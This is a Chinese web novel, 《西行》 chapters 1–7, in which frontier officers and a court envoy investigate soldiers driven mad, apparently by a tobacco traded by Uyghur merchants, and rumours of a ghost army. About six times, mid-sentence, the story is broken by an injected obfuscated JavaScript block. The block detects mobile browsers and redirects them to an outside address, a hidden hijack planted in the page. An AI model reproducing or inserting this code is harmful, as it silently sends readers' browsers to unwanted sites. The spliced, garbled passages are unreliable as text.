《西行》 1. 中邪 魏无功靠在门框上,听里面沈仓和军医讲话。 窗外老北风呼啸,把军医的声音吹得断断续续的。只听他说什么“丢了三魂七魄、怀疑邪祟入体、也考虑是萨满作妖……”魏无功拿鼻子嗤了一声。 今天寨堡里又疯了一个大头兵。吃饭的时候,放着粟米粥不喝,突然跳起来咬人,力大无比,三五个人才压住。被关起来之后一直喊饿,嚎了半个时辰才消停。魏无功最后去看他的时候,见他双眼无神盯着天花板,彻底痴傻了,谁叫也不应。自从入冬之后,沈仓带队从辽军手上攻下了易县附近这几个村寨,军中这种事情就没断过。军医十分不靠谱,收治了月余也治不好,恰好军中将士多有龃龉,怀疑是辽军撤退的时候在土里下了蛊毒,这会儿也就顺着这话往下编,编的有模有样。 沈仓送军医出去的时候,见魏无功起身欲走,就叫住了他。 “无功,军医说的这个事儿,你怎么想?”他问。刚刚军医建议他请个和尚道士过来驱驱邪气,他有点犹豫。 “让他滚。”魏无功言简意赅。 “其实我也不信,”沈仓叹了口气:“主要是也遮掩不过去了。” 魏无功表示理解,这几天他底下的人也多有抱怨。如果查不到源头,找个和尚过来念两句经也不失为一种方法。 “朝廷回信了吗?”沈仓又问。 “还没。”他摇摇头。两人沉默了一会儿。屋内灯影摇晃,魏无功看着沈仓明显苍老的脸色,思忖了一下说:“要不,我再去查查水吧。” “也好,”沈仓说:“天冷,出去穿暖和点儿。” 魏无功点了个头,起身出去了。沈仓看着他的身影消失在门外,又重重地叹了口气。上次告败已经过去半月有余,朝廷迟迟不来回信。钝刀子割肉,最是磨人。 然而他不知道的是,那封他连夜写的措辞恳切的战报,此时并不在枢密院,而是在云昭阁一名女子的手中。 同一时间的上京,在鲜有人去的深宫院内,纱幔垂下,一名中年女子和一位年轻男子正隔着帘子对谈,沈仓的折子摊在两人之间的书案上。 “在宥,这里面说的内容,你怎么想?”她问。除了战败的自责,里面还记录了军士多有怪病的传闻,被枢密院以“怪力乱神”为由,推到负责神秘事物的云昭阁判断。 “纯属放屁。”李在宥十分不屑:“现在边境打败仗的借口真是越来越多了,什么疑似瘟疫、投毒、中邪都来了,语无伦次,依我看,全都是胡扯蛋。” “也不能这么武断,”纱幔后面,那名女子缓缓说着,轻声细语,十分温和。 “这世上蹊跷的事情多了去了,也不桩桩件件都是假的,还是眼见为实。”她看着折子里易水边上的几个地名,若有所思。 “你还是亲自去跑一趟吧,顺便替我见个人。”她对李在宥说,递给了他一封书信。 “里面内容我能看吗?”李在宥问。 “看吧,”那名女子笑笑,“不过里面什么也没有。” “空的?” “嗯。” 李在宥挠挠头。他家公主又开始打哑谜了。赵元贞做事一直是这个德性,在事情没有十拿九稳之前,总是不肯轻易开口。用她的话说,云昭阁专门处理玄妙幽微之诡事,对外要保持神秘感。但是李在宥总觉得,她其实就是在装。 拜别公主,收拾行囊,李在宥目光往墙上挂着的令牌之间逡巡了一圈,挑了个“閤门祗候”的身份,揣进了兜里。他一边赶路,一边看着“禁军团练使-权知易州军州事-沈仓”的背景资料,见他早年在童贯手底下当过兵,拿鼻子哼了一声。虽然口中默念着公主“中庸之道”的训诫,心里已经先入为主地判断这人又一靠着关系上去的酒囊饭袋了。 易水边,魏无功和几个大头兵一起,提着陶罐分头取水。 他和沈仓之前已经检查过土壤和粮食,没发现什么异常。现在,他决定最后排查一下水源问题。不过,他觉得辽军投毒可能性很小,易州大部分时间是辽国实际控制区,先一步污染土地和水源不像是图南的长久之计。 夜里没有点灯。边境线军事压力很大,民族混杂,这一片虽然暂时由宋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17105023|195775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 军接管,不过为了不节外生枝,还是不要惊动附近的军民比较好。 星垂平野,河水清冽。饶是魏无功这样大字不识一个的粗人,也忍不住抬起头来远眺。燕山巍峨,在风雪中兀自深沉,牵动着宋、辽、金统治者们无限的野心与征服欲望。 突然,他耳朵微动,感觉到河床不远处有动静。一双眸子在夜里异常清明,他循声望去,看见一小撮人,附近普通村民打扮,似乎是在抬尸体。 魏无功低笑一声。早年间,偷盗、摸金、溜门子的事情他也没少干,若是原来,他是不会去管的。不过此刻这波人运气不好,撞到了已经“从良”的魏都头。 沈仓有严令,不允许盗尸、渎尸,更不允许食人。易州久历战乱,民风剽悍,信仰混杂,为了让这些村寨成为“王化之地”,也是操碎了心。 他猫着腰潜进,准备从河床土坡上跳过去来个“神兵天降”,没想到还没靠近,那几个村名就受了惊一般,扔下尸体跑了。 “这么警觉?”魏无功有点好奇。他并没有暴露,那些村民不知道是看见了什么,选择了立即离开。他等人走后,悄悄绕到尸体边上。尸体脸面朝下,看衣服是辽军打扮,并不是宋兵。 他先是在尸体周身摸了一圈,并没有发现任何值钱之物,连甲胄都是破烂的,心下更好奇了。于是,他把尸体正面翻过来。借着月色,刚看见那张死人脸,他就吃了一惊。那尸体软得不像样,时间上看已经死了很久,连眼窝都深凹下去了。魏无功却清晰地看见,他的眼睛里,留下两行浓稠的血泪。 “晦气!”他低骂一声,起身在身上一顿乱拍。大晚上遇到一具怨尸,欣赏燕山易水的心情一瞬间褪了个干净。 这时,他一个传令兵急匆匆跑过来找他。“都头,沈团练唤您即回,”传令兵说:“閤门司派人来监军,正在帐中问话。” 魏无功啧了一声,真是讨厌什么来什么。他匆匆用陶罐里的水洗了手,往回赶去。一边走,一边忍不住回头看了一眼。 星空下,那具尸骨静静地躺在河畔的衰草里,寂静无声。 2. 京城来的公子哥儿 魏无功一进军营,就看见一个公子哥儿模样的人,大喇喇坐在沈仓的太师椅上,跷着二郎腿,当即翻了个白眼。 沈仓示意他上前打个招呼,他只当没看见,径直走过去靠墙站着。李在宥没抬头,只是低头看着手里的茶,认真捣鼓杯盖,将浮起的几根粗硬茶梗缓缓拨到一边。 “沈团练带的,仗打得不利索,骨头倒是硬哈。”有点渴,他还是艰难地呷了一口,果然泡头过了,又涩又苦。 “李祗候莫怪,前线艰危,军士们多出身微寒,眼界卑鄙,只认军令,不懂规矩,我替他赔个不是。”沈仓倒是不卑不亢,躬身作揖道:“您问的中邪一事,虽不知是不是鬼神作乱,但确有其事”。 他抬眼,眼前的李祗候,一身毛皮大氅,金丝绣线、针脚细密,是宫里绣坊才有的工艺,怎么看着都不只是一个区区八品官员。沈仓以前在京城禁军当值,宫中人物盘根错节,关系复杂,处处都要留心。他久经官场,但凡有头有脸的人物还是认识的,却从没听过李在宥这一号人。虽然令牌文书不似做伪,心里暗忖还是派人回头调查一下的好。 “祗候若愿意纡尊降贵,沈某明日可以带您去地牢里一观。” “好啊,”李在宥起身说:“别等明天了,现在就去吧。” 沈仓应了声“是”,让魏无功举着火把在前头引路,自己带着李在宥从寨堡穿过去,到不远处关押战俘的地牢。资源有限,那些发疯的将士,若没有亲眷领走,也只能先安置在这里。 一路上,李在宥左顾右盼,很意外地发现沈仓管辖的易州镇戍军军制严明,寨堡道路整洁干净,瞭望台值岗的士卒也是各个打点精神,站得笔挺。他此行并没有大张旗鼓地来,更没有提前通知,看来平日里这些军士也是照例规矩守夜,不禁生出些好感。 到了地牢,果然见得人满为患,各有各的疯法。部分军士还有呓语、哭嚎,声音凄厉,大半夜里有些骇然。据沈仓说,这些人还不能关在一处,怕互相争斗,易县小小的寨堡已经快要装不下了。 “我安排他检查了水土、吃食,都是正常的,”沈仓指了一下前面举火把的魏无功说:“军医观察了半月有余,也瞧不出毛病。” 李在宥没有立即答话。他突然觉得有点头晕。地牢里味道一言难尽,混着汗臭味儿、草料味儿、墙皮的霉味儿还有烟草气息,熏得他说不出来话。他眼角的余光看着边上一个值班的狱吏,忍不住想对他抱拳说一声“辛苦了,兄弟。”不过他转过头去,看那狱吏面对突然来的领导视察有些紧张的样子,就把话咽了。 “留神,”沈仓伸手拦了一下。原来是李在宥往前走了两步,差点撞到魏无功身上。一直走在前面的魏无功突然老僧入定一般站定了,鼻翼翕张,陷入思考。 “怎么了?”李在宥问。 魏无功没理他,只是觉得那个烟草味浓地有些异常,转头问狱卒:“你给他们烟了?”狱卒摇摇头。 李在宥两度被无视,正不爽着。却见他突然伸手抓了一个靠在门栏上的疯人,将他衣领一提。角度和力度都十分巧妙,正好勒住他的脖子,不至于闭气,但又会难受得动弹不得。李在宥心里啧啧称奇。 只见魏无功凑上去,很谨慎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17105024|195775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地对着他脑袋闻了一下,转头对沈仓说:“团练,这几个疯了的,好像都抽过同一种烟草,我想查一下。” 沈仓一愣,一边说“好,好”,一边看了一眼李在宥。李在宥少年心性,也十分好奇,想凑上前去看。没想到刚把脸贴过去,魏无功突然松了手。牢里的疯子立即发作,嗷地一声叫唤,对着他的右脸咬过去。 “卧槽,”李在宥连退三步,沈仓捞了他一把才站稳。要不是反应快,这一口下去高低得破相。 他瞪着眼睛望魏无功,胸口因为惊吓起伏不定,想骂人但是又不知道如何开口。更气人的是魏无功就这么静静地回看他,嘴角似笑非笑的。 “无功,既然要查,还不赶紧去?”沈仓有点吃惊,却没有点破,只是沉声把他支走。“这儿没你的事了。”他说。 魏无功对沈仓拱了一拱手表示听到了,眼睛却没有离开李在宥,充满挑衅。气氛一时间有点尴尬,就在李在宥感觉到自己是不是得说点儿什么的时候,魏无功一个转身,大步流星地走了。 “祗候,受惊了。”沈仓揣着明白装糊涂,不咸不淡说了句。 “无妨,”李在宥盯着魏无功远去的背影,半晌才开口。他看了一眼沈仓,知道了强龙不压地头蛇的道理,于是缓了口气道:“实话跟您讲,您说的军士痴狂的症状,金兵营里据说也有。我这趟来,只负责探查情况,不是来问责的。” “您后面的调查与我无关,希望早点有结果上报朝廷,”他从袖口里掏出云昭阁的玉牌,在沈仓面前晃了晃说:“我到这儿来还有件事要办,向您打听个地方……” 3. 第三章失败的接头 李在宥拿了沈仓给的地址,是边境线上的一处私市。 私市比榷场(官方设立的多民族互市场所)好办,也不要什么文书,找个靠得住的介绍人带进去就行了。公主让他找一个回鹘商人,名字叫阿尔斯兰,听着非常帅气。 此刻他手上只有一封空白的书信和一句暗号,并不知道自己具体要做什么,不过他习惯了不去多问。他把书信别在马鞍侧面显眼的地方,露出盖章的笺封,在马背上装模作样放了几匹绢布,跟着沈仓牵线搭桥的一个当地村民,到了约定的日子,披着晨光来到了贸易场。 不到半日,阿尔斯兰就盯上他了。李在宥能感觉到远处那人似有似无的目光频频往他这里打量。但是不同于阿尔斯兰威武霸气的名字,本尊长相十分猥琐,看来已经深度融入了契丹文化,顶了头髡发。阿尔斯兰看上去性格也十分谨慎,并没有第一时间走过来,而是在反复观察和确认。李在宥反省了一下自己是不是化妆化得太像普通村民,导致阿尔斯兰如此纠结。 夕阳逐渐拉长,李在宥打了个哈欠,阿尔斯兰再不来,他的绢布都要买完了。不远处有几个孩童追着一个猪尿泡踢着玩儿。边境线的孩子,连眉眼都带着一股与年龄不符的野气,打斗玩闹都比中原激烈很多,拳拳到肉。 私市里大部分的交易都集中在上午,等到黄昏,人已经不多了。这时候,阿尔斯兰才蹭过来,左右张望了一下,很小心地开口说:“一元天地开,二元明暗分。” 阿尔斯兰口音很重,李在宥艰难地听清了,他掀开头巾,按照指示机械地对上:“踏碎无明夜,方成光明身。”很羞耻的台词。 “光明神祝福你,远方的朋友,”阿尔斯兰见暗号对上,十分高兴抚胸一礼:“好的东西,你家大人要的带来了,不过不能装在马背上,你跟我去拿”。李在宥有点不愉,听阿尔斯兰的意思,交易涉及第二个地点,这很专业,但也非常的不安全。 私市关闭的鸣金声响了,由不得他犹豫,只能牵了马跟着阿尔斯兰往外头走。沿着河畔走了没多远,天色开始擦黑,路上人烟也稀少起来。李在宥初来乍到,对当地的风土民情并不是很熟悉,只是隐隐觉得不安。 前面的阿尔斯兰越走越快,豆大的汗珠从他的后脑勺流下来。 “你怎么了?”李在宥问。 “有人在跟着我们。”阿尔斯兰小声说。 李在宥“嗯?”了一句,回过头去。刚一回头,瞬间看到一个颀长的黑影从附近的土坡后头跳出来,伸手就往他后颈抓去。李在宥慌忙躲过,却发现那人的目标并不是自己,而是阿尔斯兰。 阿尔斯兰非常敏捷,将马上的绢布一掀,遮挡住了部分视野,就地一滚。李在宥见黑衣人扑空,掀开马背的褡裢,抄起一把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17105025|195775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 提前放置的匕首挥砍下去。同时暗自疑惑,阿尔斯兰看上去瘦小干瘪,面对危险,居然有如此的敏捷和爆发力。 黑衣人只得回身应战,只是两三下的功夫,李在宥就感受到自己不是这人的对手。那人出手稳、准、狠,一脚将他踢进水里,仓皇间,匕首也叫他夺了去。 “回头再收拾你。”那人撂下一句话,翻身上马去追往前跑的阿尔斯兰。李在宥听得那声音好像有点儿耳熟,瞬间有种不妙的预感。 黑衣人目标很明确,就是要抓那个回鹘商人。他将从李在宥那里缴获的匕首凌空掷出去,不过不想取他性命,只扎中他的小腿。 出乎意料的是,阿尔斯兰并没有被疼痛影响,反而因为被袭击越跑越快,边跑还边双指放在嘴里,吹出一声长哨。 “嗷呜——” 回应他的是不远处几声狼嚎。 “……”魏无功人在马上,感觉最近和易水河犯冲。他□□的马听了狼叫受惊了,打着响鼻僵住不动。魏无功眼见着再往前就是辽军实控区,犹豫着不敢再追。 他回头看着一瘸一拐从水里爬上岸的本地村民,心想带个中间人回去应该也能问出点东西。于是他走过去,一边说着“你还挺利索,”一边去掀了他的头巾面罩。 “……” 看到是李在宥的时候,他十分确信,就是跟易水犯冲。 4. 英雄烟 军帐里,三个人都沉默了。 魏无功不敢说话,沈仓不知道该说什么话,李在宥气得说不出话。 沈仓刚吃完饭,就听见人说李祗候落水了。急匆匆跑出寨堡去看,就看见远处的昏暗地平线上,魏无功牵着马,上面的李在宥裹着他早上带出去的绢布——绣着大花大叶,心中暗道不妙。 果然,祗候进了军帐就开始骂,说要向朝廷痛陈利害,这里有人贻误军机、出手伤人还侮辱朝廷命官……沈仓正在叫军医来看看,魏无功“噗通”一声就跪地上了。膝盖头撞在砖头上,十分响亮。听得这动静,李在宥突然一下哑了火,一言不发瘫在太师椅上,大抵是自闭了。 魏无功在地上一声不吭低头跪了许久,沈仓才才弱弱问了句,“这是怎么了”。魏无功朝他膝行两步,低声回话。 原来,魏无功在领命去查烟草之后,确实有些重要发现。 燕云一带的军队中,不知从何时起流行抽一种叫做“英雄烟”的烟草,据说是从金人那边传过来的,有镇痛效果,作战的时候能够有效降低恐惧、显得勇猛,故而叫“英雄烟”。 他走访了三军附近的私市和地下黑市,基本确定主要的上游卖家来自回鹘,因此重点盯着回鹘人常去的几个私榷。阿尔斯兰就是其中大头卖家之一,他胃口很大,几乎不做小单生意,只和军队里带军衔的人来往,因此是盯梢的重点。 不过这个阿尔斯兰非常谨慎,卖货和提货总是频繁换地点,而且从不落单,一有风吹草动就立马龟缩起来明哲保身。魏无功跟了他几天,第一次见他和村民打扮的人讲话,并且临近黄昏居然单独行动,以为能抓住个机会,谁知道好巧不巧撞上李在宥。 “不过,回鹘人只是最大的中间人,”魏无功讲完事情始末,补了一句:“货品的源头,应该还在外地,不在易州。” 沈仓思索了一会儿。回鹘是个很特殊的民族,在主要政权覆灭了之后,一部分北走入辽,一部分融入西夏,还有一些活跃在更远的西部,已经很难定义他们的归属。因此,他们贩烟的行为是出于什么目的一时间很难找到头绪,是报复、替人办事还是单纯获取经济利益都有可能。 “祗候,您见多识广,对这件事怎么看?”沈仓试图找个台阶下。 “……”李在宥在三九天的风里湿着身子走回来,一路还顶着风,这会儿终于是不磕牙了,但是关节连接处依然隐隐发酸。若不是沈仓长他许多岁,他是真的不想说话。 “我怎么看……我坐着看……”他有气无力的说:“团练,侦查捉生,不是街头拿贼,且不论英雄烟和中邪发狂之间有没有必然联系,只找到一个中间人就大张旗鼓的抓人,这不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17105026|195775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 合规矩。” “若要是我,一来,会先用几只牛羊猪狗测测烟的威力,二来,查证何人多与阿尔斯兰交易,其麾下疯症又是如何,”他一边说一边斜睇了一眼脚边跪着的魏无功:“放长线、钓大鱼,首要任务是潜伏跟踪、记录行迹、调查接触人等。且不说这次放跑了阿尔斯兰,就算是真抓了他,严刑拷打就是不吭声,以后大不了其他回鹘人换个地方卖烟就完事了。” “现在什么都没有,教我拿什么看?”李在宥说完,毯子一裹,换了个姿势缩进太师椅里,又一动不动了。 “这……”沈仓也不知道该说什么了。他们这帮人,确实只会闷头打仗,遇到缥缈吊诡的怪事,的确考虑不周。 “祗候数落得对,我愿意领罚。”跪在地上的魏无功突然说:“我没有事先报告团练,自作主张了。” 李在宥从毯子里探出半个脑袋出来觑了一眼。“哦……难怪得突然这么老实,是怕连累沈仓啊”,他想着。其实什么“向朝廷痛陈利害”只是说说而已,他犯不着为了这种事情去为难边关守城将士,大家各司其职罢了。 “那罪状你自己写。”他躺回去,嘟哝一句。 “……”魏无功沉默了一会儿:“我不识字。” 李在宥两眼一黑。算了,要不还是直接睡觉吧。拿流氓能有什么办法呢? 5. 阴兵借道 第二天,李在宥醒了,活动了一下筋骨,发现年轻人火力旺,没感冒也没发烧,不知怎的还有点失落,多少缺了些折腾人的借口。 出了房门,架起纸笔准备给公主写信,发现送早饭的另有其人。 “你们魏都头去哪里了?”他问。 “都头跟着沈团练大早上出去了,不知何事。” “躲我?”李在宥撇了撇嘴。本来他绞尽脑汁想了一堆屁事,准备让魏无功上下跑腿,顺便见缝插针挑他点毛病,居然被提前预判了? “看我怎么写死你,哼哼,痛陈利害!痛陈利害!”他在那里自言自语,送饭的小兵一头雾水,默默退了出去,掩上门。 然而奇怪的是,午饭点过了,也不见人影,连沈仓也不来过问。李在宥把信件交给下人寄出去后,终于感觉有点不对劲。今天的营帐里约莫只有平时一半的人马。 “今天边线有战事?”他问。 “不是战事,但是却有些蹊跷,”一个年纪稍长的勤务兵说:“今天清晨先是回来了一个斥候,疯疯癫癫的,不知道遭遇了什么,话都说不整。后来接着他来了一群突然南下的村民,男女老少有,拖家带口的赶也赶不走,团练只能带了人马先去把他们安置到附近的村寨里。” “哦?”李在宥有点好奇:“又疯一个?”斥候的职责是探查敌情、小心看路,为了保持清醒理论上是不许抽烟喝酒的。难道说魏无功猜错了? “村民乱跑又是怎么一回事?”即使燕云一带多有纷争,黄土地上的人总归还是安土重迁的。对面的郭药师更不是等闲之人,听闻一直在招募辽东饥民扩充人口,怎么会突然放人南下呢?李在宥想不通。 一个年轻点的大头兵在旁边说:“我上午听村里老人说,北边出了不干净的东西,怕是有冤死鬼阴兵借道。” “别瞎猜,” 年纪稍长的说:“魏都头要骂人的。” “我去看看。”李在宥借了匹马,朝着村寨方向骑去。 半路上,就遇到了从市集方向过来的魏无功,见他低着个头,走得很慢,一副心事重重的样子。 “魏都头怎么一个人在河边散步啊。”他阴阳怪气问了一句。魏无功抬起头,见到他,艰难行了个礼。 魏无功这会儿郁闷得很。他今天又去了趟阿尔斯兰常驻的私市,想要打听村民南迁的消息,意外发现那些回鹘人都不见了。不知道是不是昨天偷袭阿尔斯兰,打草惊蛇了。 “祗候,那些回鹘人跑了。”半天他才开口。 “嗯,然后呢?”李在宥高高在上看着他问,嘴角压都压不住。 “……不知道。”魏无功老实说。 “行了别想了,先去村里看看怎么个事儿吧。”李在宥一甩缰绳:“过来牵马,把我伺候满意了,我就教你怎么捉生。” 魏无功没说话,抬头看了眼阳光下欢欢喜喜没心没肺的李祗候,感觉可能自己之前有点误判。以为是京城派来找茬的公子哥儿,没想到……算了,先牵马吧。 到易县团风村的时候,老远就看见沈仓和几个老人坐在空地上。正午的阳光有些晃眼,白亮亮照在平顶房上,看起来阳气充沛。 沈仓听得认真,没有回头。两人默默靠过去,站他后面,听围着沈仓坐着的一个老头儿用沙尖的嗓音说话: “……好几夜,庄子里的狗吠,怎么都不止息。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17105027|195775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 北面都是林子,晚上什么也看不清,只觉得黑压压的像是有东西…… 平时到了夜里,鸮鸟都要叫的,偏生那段时间,林子里一点声音都没有。我们找了几个八字硬的健壮小伙儿,晚上点了灯想进去转转,可是别看那些狗叫得欢腾,真进了林子,个个儿都耷拉着耳朵,抽它都不肯往前走…… 不光动物,时间长了人也不对劲,整宿整宿做梦,睡不安稳,半夜里盗汗,还总觉得有鬼压床,喘不过气来…… 村里有个胆大的,实在被闹得烦了,就守在林子里,爬上一棵大树往远处瞧。只见再往北的山道那边,黑压压的军队夜里行军,灯笼也不点,就看见血红的旌幡无风自动。那汉子吓得想走,没想到队伍里一双赤红的眼睛盯上了他,他连滚带爬跑回村里,没几天就口吐白沫不省人事了…… 沈大人,这是阴兵借道啊,奔着前头这几个村子就来,我们不敢冲撞死人,只能往南一路跑……” 李在宥看着那个老头儿,眼珠子都浑白了,在这里说得有鼻子有眼的,好像他真能看到似的。若是黑夜里不点灯,哪看得见什么“血红旌幡”,山路行军还能跟人对上眼,这不扯吗?该不能是对面郭军派来的探子吧,这种形式可不常见。 他转头看魏无功,见他眉头紧锁,不知在想什么。 “诶,沈团练这么好骗的吗?”他小声问。 “回鹘人可能到过这里。”魏无功突然没头没尾说了一句。 “嗯?什么?” “烟味儿,我闻到了。” 李在宥冲天空深吸一口气,除了冷气清冽刺得他鼻子疼,什么也没有。 “你属狗的吧。”他说。 6. 斥候的消息 从团风村出来,日头已偏西。沈仓依旧没什么头绪,干脆先带他们去看那个疯癫的斥候。 一路上魏无功都在纠结那群回鹘人,头一遭吃瘪,心里惦记,但是又不好意思老提。沈仓要操心的事情就更多了,中邪的事情还没解决,又来了一群阴兵,他都不知道上报该如何措辞,这不是为难老实人嘛? “目前没有发现斥候有攻击人的情况,和之前的那些不太一样。” 一个年轻的斥候被绑在军帐角落,表情看上去有些惊恐,肌肉时不时痉挛一下。旁边的军医给他扎了针,整个过程他都安安静静的。“应该是惊风。”军医下了个结论。 沈仓头更疼了,中邪完了又来个惊风,早知道听魏无功的,让他滚蛋得了。病治不明白,歪理邪说词儿倒是多。 李在宥观察了一会儿,蹲下去翻了一下他的眼皮,感觉状态还行,示意边上人解了他的绳索,将自己的外氅脱下来盖到他身上,仍是蹲着和斥候平视,双手握住他的手。斥候眼睛珠子晃动很快,用了很久才聚焦到他脸上。李在宥一边搓着他的手背,一边轻声说:“你现在很安全。” 他说了很多遍“你现在很安全”,一直到斥候的颤抖频率逐渐降了下来。魏无功抱着膀子站在一旁看李在宥,非常新奇。 李在宥回头让沈仓和魏无功也蹲下来。“你看。沈团练在这里,”他轻声细语跟斥候说:“魏都头也在这里,现在是白天,军营里很多人。你是安全的。” 斥候哆嗦着往他身后看了一眼,看到沈仓的时候,感觉好像回了点儿神儿。 “现在,跟我们说说,你看见了什么?” 斥候没有立即说话,但是李在宥十分耐心,腿都快蹲麻了也没起身。过了好久,他才断断续续地念叨: “雷声……鼓点……密密麻麻的……” “那些人不是人……是鬼,黑夜里有鬼……” 他越说越激动,声音逐渐劈叉:“辽军里面有鬼啊团练!我真的看见了……地狱里来的恶鬼……马上,马上就要到了!” “好好好,是有鬼、是有鬼,”李在宥靠过去把斥候的脑袋按在肩膀上,像哄小孩儿一样。“那你告诉我们,鬼在干什么?” “他们站在山上……站在水里……”斥候哽咽着吞了口口水:“披头发、红眼睛……在夜里比郊狼还亮……我……我……我被他们发现了……” 李在宥听到这里,和沈仓交换了个眼神。沈仓当下了然,起身出去安排军 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17105028|195775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 防。 不管斥候疯疯傻傻说得有几分真,联系上村民提供的信息,可以预见现在有一支行迹诡异的辽军正在南下,目标应该就是易州。按照正常的行军速度,从燕山北麓往南,到易水河畔,也不过是三五天的事情。他需要做好万全的准备,应对可能的威胁。 沈仓走后,李在宥又安慰了一会儿斥候,不过没有套出更有效的信息了。 “你还懂医理吗?”魏无功忍不住问。 “……也不是,”李在宥想了一下说:“主要是吧……军医在旁边一直盯着我,不装一下也不好呛行不是……” “你可真行……”魏无功笑着摇摇头,拿手隔空点了一下他问:“那个手,你要不要处理一下?” 李在宥低头看了眼自己的手背,什么时候被斥候抠了块儿皮下来,他都没注意。 “不用,没那么娇气,”他抬起手背在嘴里舔了一口。 “诶,你说,要是真打起来,沈团练能同意我去吗?”他是真的好奇。在京中只见得战报奏折雪片一般飞来,却从没有见过真的家伙事儿。 “那……要是我带你,痛陈利害那个事儿……” “那就不陈了呗。” “行。” 7. 赤焰军赤睛魔王 “闹呢,”沈仓很是无语:“你看他,瓷人儿一样,是能打仗的?” 魏无功想了一会儿,觉得自己还是比较客观:“他懂拳脚的,专门练过。”毕竟亲手揍的嘛,实力还是很清晰。 “万一伤了呢?”沈仓说:“无功啊,你脑子不要只想着出拳头,还要想着全须全尾地收啊!” 拜托去打听閤门司祗候李在宥的那个朋友,至今一无所获,看李在宥不像是吃过苦却又见多识广的样子,更证实了沈仓的猜想:李在宥绝对不止这一个身份。具体是哪边派来的,他还没抽出功夫琢磨。 “……”魏无功才反应过来自己好像又给沈仓添乱了,真的是,自从公子哥儿来了之后他就一直在犯浑,不应该。 “那……让他跟着我,保证完整带回来。”魏无功说,感觉自己底气不足。 沈仓看了他一会儿,没招儿了,干脆好人做到底,嘱咐了句:“照顾是一方面,你自己也别分心,不要仗着功夫好就大意。” 魏无功点点头,转身出去安排协防。 傍晚,军区灯火通明。附近村民已经告诫安排撤离,寨墙内外,一派秩序井然——喂饱战马,检查鞍鞯,刀刃磨锋,弓弦上蜡。李在宥站在城头上,换掉了毛皮大氅,改成戎装,看着下面兵卒忙忙碌碌的,很是稀奇。 “这就是守城啊,”他感叹着,魏无功扔给他的甲胄他还没套上,那个好重,穿上不知道还能不能丝滑上马。“回头要给赵元贞好好讲讲,羡慕死她。”他十分愉快地想着。 不过,新鲜劲儿很快就过了,随之而来的是一种不知什么时候会打起来的紧张,抓心挠肝的。沈仓说三五天,到底是三天,还是五天也没个准儿,不管是吃饭还是喝水,心里总有个事儿压着。 “你站在这儿有点挡路,”魏无功路过他的时候说了句:“去睡觉吧,衣服别脱。” “……”李在宥四下看了下,发现路确实有点窄。他懒得跟魏无功耍嘴皮子,大战之前他告诫自己尽量不去给沈仓添乱,人家够烦的了。 半夜,北风疾呼,天气更凉了。 